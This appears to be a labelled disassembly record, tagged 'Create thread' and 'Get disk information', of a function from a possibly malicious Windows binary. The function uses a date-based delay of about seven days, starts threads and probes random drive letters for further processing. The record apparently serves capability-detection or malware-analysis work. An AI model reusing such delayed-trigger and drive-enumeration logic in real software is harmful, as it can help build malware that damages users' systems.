Function at 0x401beb
Capabilities:
Create thread
Get disk information

Disassembly:
mov eax, 0x40c7a4
call fcn.00402eec
push ecx
sub esp, 0x530
push ebx
push esi
push edi
lea edi, [ebp - 0x540]
mov ecx, 0x14c
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 0x10], esp
and dword [ebp - 4], 0
mov esi, esp
push 0x104
push 0x40fc30
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp esi, esp
call fcn.004021c8
push 0x104
push 0
lea eax, [ebp - 0x118]
push eax
call fcn.004029c0
add esp, 0xc
push 0x40fc30
call fcn.00402750
pop ecx
dec eax
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x124]
movsx eax, byte [eax + 0x40fc30]
cmp eax, 0x5c
je 0x401c7c
mov eax, dword [ebp - 0x124]
dec eax
mov dword [ebp - 0x124], eax
jmp 0x401c5b
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
and dword [ebp - 0x130], 0
mov eax, dword [ebp - 0x124]
movsx eax, byte [eax + 0x40fc30]
cmp eax, 0x2e
je 0x401cd7
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x124]
mov cl, byte [ecx + 0x40fc30]
mov byte [ebp + eax - 0x118], cl
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
jmp 0x401c90
lea eax, [ebp - 0x118]
push eax
push str._s0.exe
push str.84738B8F_00909544_42D1C25ACDA42825C0B6427B70DA45380.exe
call fcn.004028f8
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
push 0x40d2dc
push str.84738B8F_00909544_42D1C25ACDA42825C0B6427B70DA45381.exe
call fcn.004028f8
add esp, 0xc
mov byte [ebp - 0x139], 0
call fcn.00401985
mov eax, dword [ebp + 8]
mov dword [0x40fd40], eax
mov eax, dword [ebp + 0x14]
mov dword [0x40fd3c], eax
mov esi, esp
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
cmp esi, esp
call fcn.004021c8
mov esi, esp
lea eax, [ebp - 0x2ac]
push eax
push str.84738B8F_00909544_42D1C25ACDA42825C0B6427B70DA45380.exe
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp esi, esp
call fcn.004021c8
mov dword [ebp - 0x2f0], eax
mov esi, esp
push dword [ebp - 0x2f0]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp esi, esp
call fcn.004021c8
mov esi, esp
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x2a8]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
cmp esi, esp
call fcn.004021c8
mov esi, esp
lea eax, [ebp - 0x2c4]
push eax
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
cmp esi, esp
call fcn.004021c8
movzx eax, word [ebp - 0x154]
imul eax, eax, 0x16d
movzx ecx, word [ebp - 0x152]
imul ecx, ecx, 0x1e
movzx edx, word [ebp - 0x14e]
add edx, ecx
add edx, eax
mov dword [ebp - 0x2fc], edx
movzx eax, word [ebp - 0x2c4]
imul eax, eax, 0x16d
movzx ecx, word [ebp - 0x2c2]
imul ecx, ecx, 0x1e
movzx edx, word [ebp - 0x2be]
add edx, ecx
add edx, eax
mov dword [ebp - 0x308], edx
xor eax, eax
je 0x401e04
jmp 0x402003
push 0
call fcn.00402981
pop ecx
push eax
call fcn.00402359
pop ecx
mov eax, dword [ebp - 0x308]
add eax, 7
cmp dword [ebp - 0x2fc], eax
jle 0x401f41
mov esi, esp
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp esi, esp
call fcn.004021c8
mov dword [ebp - 0x32c], eax
mov esi, esp
lea eax, [ebp - 0x320]
push eax
push dword [ebp - 0x32c]
call dword [sym.imp.USER32.dll_GetWindowRect]
cmp esi, esp
call fcn.004021c8
mov eax, dword [ebp - 0x318]
sub eax, 0x64
mov dword [ebp - 0x538], eax
fild dword [ebp - 0x538]
push ecx
fstp dword [esp]
mov eax, dword [ebp - 0x320]
add eax, 0x64
mov dword [ebp - 0x53c], eax
fild dword [ebp - 0x53c]
push ecx
fstp dword [esp]
call fcn.0040131a
fstp dword [ebp - 0x540]
add esp, 8
fld dword [ebp - 0x540]
call fcn.004022e4
mov dword [0x40fd38], eax
mov eax, dword [ebp - 0x314]
sub eax, 0x64
mov dword [ebp - 0x538], eax
fild dword [ebp - 0x538]
push ecx
fstp dword [esp]
mov eax, dword [ebp - 0x31c]
add eax, 0x64
mov dword [ebp - 0x53c], eax
fild dword [ebp - 0x53c]
push ecx
fstp dword [esp]
call fcn.0040131a
fstp dword [ebp - 0x540]
add esp, 8
fld dword [ebp - 0x540]
call fcn.004022e4
mov dword [0x40fd34], eax
mov esi, esp
push 0
push 0
push 0
push section..text
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp esi, esp
call fcn.004021c8
mov dword [ebp - 0x338], eax
mov esi, esp
push 0
push 0
push 0
push 0x4010f6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp esi, esp
call fcn.004021c8
mov dword [ebp - 0x338], eax
xor eax, eax
inc eax
je 0x401ffd
and dword [ebp - 0x344], 0
cmp dword [ebp - 0x344], 3
je 0x401feb
fld dword [0x40d2d8]
push ecx
fstp dword [esp]
fld dword [0x40d2d4]
push ecx
fstp dword [esp]
call fcn.0040131a
fstp dword [ebp - 0x538]
add esp, 8
fld dword [ebp - 0x538]
call fcn.004022e4
mov dword [ebp - 0x458], eax
mov al, byte [ebp - 0x458]
mov byte [ebp - 0x461], al
movsx eax, byte [ebp - 0x461]
push eax
push str._c:_
lea eax, [ebp - 0x44c]
push eax
call fcn.004028f8
add esp, 0xc
mov esi, esp
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp esi, esp
call fcn.004021c8
mov dword [ebp - 0x344], eax
mov esi, esp
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.004021c8
jmp 0x401f51
lea eax, [ebp - 0x44c]
push eax
call fcn.004014b8
pop ecx
jmp 0x401f41
or dword [ebp - 4], 0xffffffff
jmp 0x40204c
push str.d:_aaa_
call fcn.004014b8
pop ecx
jmp 0x40203e
or dword [ebp - 4], 0xffffffff
jmp 0x40204c
xor eax, eax
push edx
mov ecx, ebp
push eax
lea edx, [0x40207d]
call fcn.004021eb
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x540
cmp ebp, esp
call fcn.004021c8
leave
ret 0x10